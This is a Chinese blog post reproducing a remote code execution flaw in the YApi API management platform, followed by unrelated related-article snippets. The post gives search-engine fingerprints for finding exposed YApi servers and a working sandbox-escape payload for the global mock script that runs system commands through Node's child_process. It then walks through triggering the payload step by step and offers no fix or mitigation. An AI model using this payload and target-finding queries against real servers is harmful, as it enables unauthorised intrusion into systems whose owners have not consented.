YApi接口管理平台远程代码执行漏洞复现

news2025/2/25 0:21:07

一、简介
YAPI是由去哪儿网移动架构组(简称YMFE,一群由FE、iOS和Android工程师共同组成的最具想象力、创造力和影响力的大前端团队)开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。YAPI旨在为开发、产品和测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布和维护不同项目,不同平台的API。有了YAPI,我们可以很方便的测试、管理和维护多个项目的API接口,不像Swagger那样是随应用生和灭的(且线上环境下大多数须关闭),YAPI是一个独立的服务平台。

二、影响版本和危害
YApi<=V1.92 All
YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问。
YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

三、资产查询
icon_hash=“-715193973”
app=“YApi”

四、漏洞复现
1、目标网站,注册用户
在这里插入图片描述

2、点击添加项目
在这里插入图片描述

3、输入项目名称,点击创建项目
在这里插入图片描述

4、在全局mock脚本中写入POC并保存
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor(‘return process’)
const process = myfun()
mockJson = process.mainModule.require(“child_process”).execSync(“whoami”).toString()

在这里插入图片描述

5、接口处填写内容并提交
在这里插入图片描述

6、点击接口名称
在这里插入图片描述

7、点击mock地址
在这里插入图片描述

8、命令执行成功
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1158996.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【JavaScript】JS基础语法

1 JavaScript 的书写形式 1.1 行内式 直接嵌入到 html 元素内部 <input type"button" value"按钮" onclick"alert(hello JavaScript)" >1.2 内嵌式 写在script标签内 <script>alert("haha")</script>1.3 外部式…

京东大数据平台(京东数据分析):9月京东牛奶乳品排行榜

鲸参谋监测的京东平台9月份牛奶乳品市场销售数据已出炉&#xff01; 9月份&#xff0c;牛奶乳品市场销售呈大幅上涨。鲸参谋数据显示&#xff0c;今年9月&#xff0c;京东平台牛奶乳品市场的销量为2000万&#xff0c;环比增长约65%&#xff0c;同比增长约3%&#xff1b;销售额为…

S32DS踩坑日记四-增加I2C

添加采集温度的ADC之后&#xff0c;又增加了两个LPUART。之后又打算先尝试着把RTC调试出来&#xff0c;然后就遇到莫名奇妙的问题了。 RTC采用的MCP7940N芯片&#xff0c;是I2C接口的。 先配置的引脚&#xff1a; 然后增加I2C的驱动&#xff1a; 在代码中增加初始化和发送测…

进口跨境商城源码(海关179接口+跨境报关商城+多平台搭建+多终端支持)

随着互联网的普及和电子商务的快速发展&#xff0c;进口跨境电商商城逐渐成为消费者购买海外商品的主要渠道。为了满足消费者的需求&#xff0c;许多企业都开始开发自己的进口跨境电商商城源码&#xff0c;以提高商城的效率和稳定性。 其中&#xff0c;海关179接口是进口跨境电…

竖版视频怎么做二维码?扫码播放竖版视频的方法

当我们在将视频转二维码图片展示的时候&#xff0c;一般横版视频在手机展示不会有影响&#xff0c;但是竖版视频会默认用横版的方式播放就会导致无法清晰的看到画面的内容&#xff0c;那么如何将竖版视频生成二维码是很多小伙伴头疼的一个问题。那么下面教大家使用二维码生成器…

yolov5 v7.0转ncnn时问题解决

yolov5 v7.0转ncnn时遇到很多问题&#xff0c;ncnn版本20231027以下仅做记录&#xff1a; 1.通过官方代码&#xff0c;export.py 转onnx&#xff0c;指定–dynamic --simplify参数 2.编译并安装ncnn&#xff0c;通过onnx2ncnn将onnx转化为ncnn.bin和ncnn.param 3.加载ncnn模…

在规划项目进度时,必须关注的两个关键点

要想确保项目的成功&#xff0c;项目经理需要制定一个周密的计划&#xff0c;以便快速有效地应对可能出现的问题。这是最佳实践问题管理过程的核心&#xff0c;也是良好项目管理的本质要求。 在规划项目进度时&#xff0c;应该至少关注两个关键方面。 1、进度规划要做到粗细…

一个极好用的浏览器标签页插件

这是我登录后&#xff0c;并且上传了个人壁纸的页面 Br标签页 一 . 我们来看看界面和功能1.注册登录2.首页及右键功能3.添加小组件和app网址4.切换壁纸5. 计划页面 二 . Edge浏览器安装和chrome&#xff08;谷歌&#xff09;浏览器安装1. Edge浏览器安装2. chrome&#xff08;谷…

java--java的参数传递机制

1.java的参数传递机制都是&#xff1a;值传递 ①所谓值传递&#xff1a;值的是在传递实参给方法的形参的时候&#xff0c;传输的是实参变量中存储的值的副本。 ②实参&#xff1a;在方法内部定义的变量。 ③形参&#xff1a;定义方法时"(...)"中所声明的参数。 2.…

区块链-蚂蚁链(阿里系产品),至信链(腾讯系),长安链(国家队)

目录 区块链-蚂蚁链&#xff08;阿里系产品&#xff09;,至信链&#xff08;腾讯系&#xff09;,长安链&#xff08;国家队&#xff09; ①蚂蚁链&#xff08;阿里系产品&#xff09; ②至信链&#xff08;腾讯系&#xff09; ③长安链&#xff08;国家队&#xff09; Hyp…

基于世界杯算法的无人机航迹规划-附代码

基于世界杯算法的无人机航迹规划 文章目录 基于世界杯算法的无人机航迹规划1.世界杯搜索算法2.无人机飞行环境建模3.无人机航迹规划建模4.实验结果4.1地图创建4.2 航迹规划 5.参考文献6.Matlab代码 摘要&#xff1a;本文主要介绍利用世界杯算法来优化无人机航迹规划。 1.世界杯…

【C++ 系列文章 -- 程序员考试 201811 下午场 C++ 专题 】

1.1 C 题目六 阅读下列说明和C代码&#xff0c;填写程序中的空&#xff08;1&#xff09; &#xff5e;&#xff08;5&#xff09;&#xff0c;将解答写入答题纸的对应栏内。 【说明】 以下C代码实现一个简单乐器系统&#xff0c;音乐类&#xff08;Music&#xff09;可以使用…

安装2023年10月更新后,继续在Win10上使用IE的方法

简介 由于微软一直试图让Win10的用户迁移到Edge浏览器&#xff0c;因此不断地对Win10上的IE使用加以限制。 先前我们还可以通过金庸IEToEdge BHO的方式继续使用IE。 通过禁用IEToEdge BHO&#xff0c;禁止IE自动跳转&#xff08;重定向&#xff09;到EDGEhttps://blog.csdn.…

5.2 参照完整性

思维导图&#xff1a; 5.2.1 定义参照完整性 5.2 参照完整性笔记&#xff1a; 一、概念 参照完整性 (Referential Integrity)&#xff1a;确保关系数据库中的数据表间的关系始终保持一致性。外键 (Foreign Key)&#xff1a;一个表中的列或列组&#xff0c;用于标识另一个表中…

QMI8658A_QMC5883L(9轴)-EVB 评估板-使用说明书

文章目录 0.前言 1.硬件准备 1.1 I2C 接口 1.2 USART 接口 2.运行程序 2.1 QMI8658A 常值零偏校准 2.2 QMC5883L地磁传感器校准 2.3 校准步骤 3.与 example-algo-visualizer.exe 上位机通信协议 0.前言 【相关博文】 【QMI8658 - 姿态传感的零偏(常值零偏)标定】 【QMC5883L-磁…

计算机毕业设计选题推荐-大学生心理健康测评微信小程序/安卓APP-项目实战

✨作者主页&#xff1a;IT研究室✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

[学习笔记]TypeScript查缺补漏(二):类型与控制流分析

文章目录 类型约束基本类型联合类型 控制流分析instanceof和typeof类型守卫和窄化typeof判断instanceof判断in判断内建函数&#xff0c;或自定义函数赋值布尔运算 保留共同属性 字面量类型&#xff08;literal type&#xff09;as const 作用 类型约束 TypeScript中的类型是一…

产品经理一定要学会的原型交互规范设计

一、主级按钮 序号1、序号2&#xff1a;主级按钮 一个按钮区最多一个主级按钮&#xff0c;也可以没有 二、线框按钮 序号3&#xff1a;如果不是非常为了突出“完成”、“推荐”的操作&#xff0c;可以多采用线框按钮 三、红色按钮 序号4&#xff1a;红色按钮不需要选中颜色这…

Vue3.0插槽:VOA模式

用法&#xff1a; 父组件App.vue <template><div><!--将html代码插入到子组件中带默认名称的插槽中--><AChild><!--这段html会插入到AChild组件中<slot></slot>插槽中--><!-- 注意&#xff1a;写在父组件中的html代码只能在父组…

Redis之持久化(RDB和AOF)

文章目录 前言一、RDB1.介绍2.redis.config有关配置3.触发4.恢复5.优缺点 二、AOF1.介绍2.redis.config配置3.启动4.恢复5.重写6.优缺点 总结 前言 Redis 是内存数据库&#xff0c;即数据存储在内存。 如果不将内存中的数据保存到磁盘&#xff0c;一旦服务器进程退出&#xff…